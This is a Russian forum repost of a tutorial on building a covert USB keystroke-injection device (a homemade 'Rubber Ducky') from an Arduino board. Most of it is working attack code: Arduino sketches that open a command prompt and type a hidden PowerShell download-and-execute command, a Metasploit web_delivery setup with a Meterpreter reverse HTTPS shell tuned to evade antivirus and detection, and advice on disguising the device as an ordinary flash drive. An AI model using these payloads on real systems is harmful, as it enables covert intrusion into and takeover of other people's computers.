Делаем USB-уточку с нуля на Arduino

aNim

Резидент
Продавец
19 Дек 2016
188
118
@rockandlife
#1
proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F59%2Fdc%2Ffb%2F59dcfb8fe4c4e906279297.jpeg&hash=fc558cbb93f84b0bc4946e6c9fac577e

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это Для просмотра ссылки необходимо: Войти или Регистрация, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.
Для просмотра ссылки необходимо: Войти или Регистрация инструкции.

#include <TrinketKeyboard.h>

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include <TrinketKeyboard.h>

void setup() {
TrinketKeyboard.begin();
}

void loop() {
TrinketKeyboard.print("Help, I am trapped in a computer! \n");
delay(500);
}

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fgeektimes%2Fpost_images%2Fbfb%2F91c%2F3cb%2Fbfb91c3cbd675edef3a67e2eb4d4c92b.png&hash=0a84def86d4e74a8a87f421077541728


Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include <TrinketKeyboard.h>

void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}

void winRun() {
TrinketKeyboard.pressKey(0x08, 0x15);
delay(30);
TrinketKeyboard.pressKey(0,0);
}

void setup() {
TrinketKeyboard.begin();
delay(1000);
winRun();
delay(100);
winRun();
delay(300);
// Run cmd
TrinketKeyboard.print("cmd");
pressEnter();
delay(500);
TrinketKeyboard.print("ipconfig");
delay(100);
pressEnter();
}

Отлично. Создадим эксплоит во фреймворке Metasploit.


Будем использовать модуль Для просмотра ссылки необходимо: Войти или Регистрация. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

use exploit/multi/script/web_delivery

Нужно сказать нашей программе, откуда брать бинарники:

set LHOST 1.2.3.4

Дальше указываем порт, который не вызовет подозрений, что насчёт 443? ;)

set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

set TARGET 2

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit.

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring(' Для просмотра ссылки необходимо: Войти или Регистрация

Теперь можем запустить это с флэшки.

#include <TrinketKeyboard.h>

void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}

void winRun() {
TrinketKeyboard.pressKey(0x08, 0x15);
delay(30);
TrinketKeyboard.pressKey(0,0);
}

void setup() {
TrinketKeyboard.begin();
delay(1000);
winRun();
delay(100);
winRun();
delay(300);
// Run cmd
TrinketKeyboard.print("cmd");
pressEnter();
delay(500);
TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring(' Для просмотра ссылки необходимо: Войти или Регистрация");
delay(100);
pressEnter();
}


void loop() {
// nothing happens after setup
}

Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fgeektimes%2Fpost_images%2Fd60%2F1aa%2F2dc%2Fd601aa2dc4c7719c6497c8345230028f.png&hash=705e5567847fa544b186c531c0c4b228


Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Для просмотра ссылки необходимо: Войти или Регистрация отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.


Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал Для просмотра ссылки необходимо: Войти или Регистрация классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fgeektimes%2Fpost_images%2Fd95%2F09d%2F411%2Fd9509d411558d5f5e1dfb7067fc21a8f.png&hash=fc99b8d8cf63213ec415e2000817fdf6


Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fgeektimes%2Fpost_images%2F56a%2Ffa2%2Fd0d%2F56afa2d0d67a45157197267efcdaaba4.jpg&hash=32b36ced995a85ff33294185dc898c06


Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h"

void winRun() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(30);
Keyboard.releaseAll();
delay(100);
}

void setup() {
Keyboard.begin();
delay(2000);
winRun();
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring(' Для просмотра ссылки необходимо: Войти или Регистрация");
Keyboard.write(KEY_RETURN);
}

void loop() {
// put your main code here, to run repeatedly:
}

Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.